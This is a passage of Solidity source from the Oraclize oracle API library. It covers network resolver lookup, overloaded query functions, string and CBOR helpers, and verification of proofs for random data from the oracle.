if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
